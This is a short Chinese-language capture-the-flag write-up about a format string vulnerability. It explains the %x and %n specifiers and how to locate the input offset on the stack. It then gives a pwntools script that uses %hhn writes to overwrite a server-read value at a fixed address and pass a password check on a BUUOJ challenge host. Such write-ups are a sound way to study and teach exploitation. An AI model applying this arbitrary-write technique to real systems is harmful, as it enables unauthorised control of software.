格式化漏洞講解: https://www.cnblogs.com/0xJDchen/p/5904816.html
%x是吧數據以16進制輸出
%n是把已經輸出的字符數目輸入傳來參數的地址中,這就可以使我們修改數據
格式 : %12$x 可以直接定位到地12個參數 其他%p,%s,%%n等類似
一般來說 先輸入 'AAAA %08x %08x %08x %08x %08x.....'來判斷我們輸入首地址的偏移 (找到41414141就是AAAA)
繼而就可以任意修改棧上的數據
看題目

明顯的格式化漏洞
因為這個unk_804c044從服務器讀入,無法知道其內容,所以使用%n將其數據修改,隨后passwd輸入相同的數據即可
from pwn import * # io=process('./pwn') io=remote('node3.buuoj.cn',28876) addr=0x0804C044 # base=10 payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3) payload+='%10$hhn%11$hhn%12$hhn%13$hhn' io.sendline(payload) payload=str(0x10101010) io.sendline(payload) io.interactive()
補充說明:%n %s 是要解析出數據表達的地址的, 所以我們才能實現任意地址修改(要有修改權限,沒有的話可以調用某個函數,給忘了。。。)
這里我們把bss地址先輸入,然后用%10hhn %11hhn %12hhn %13hhn按一個一個byte地修改
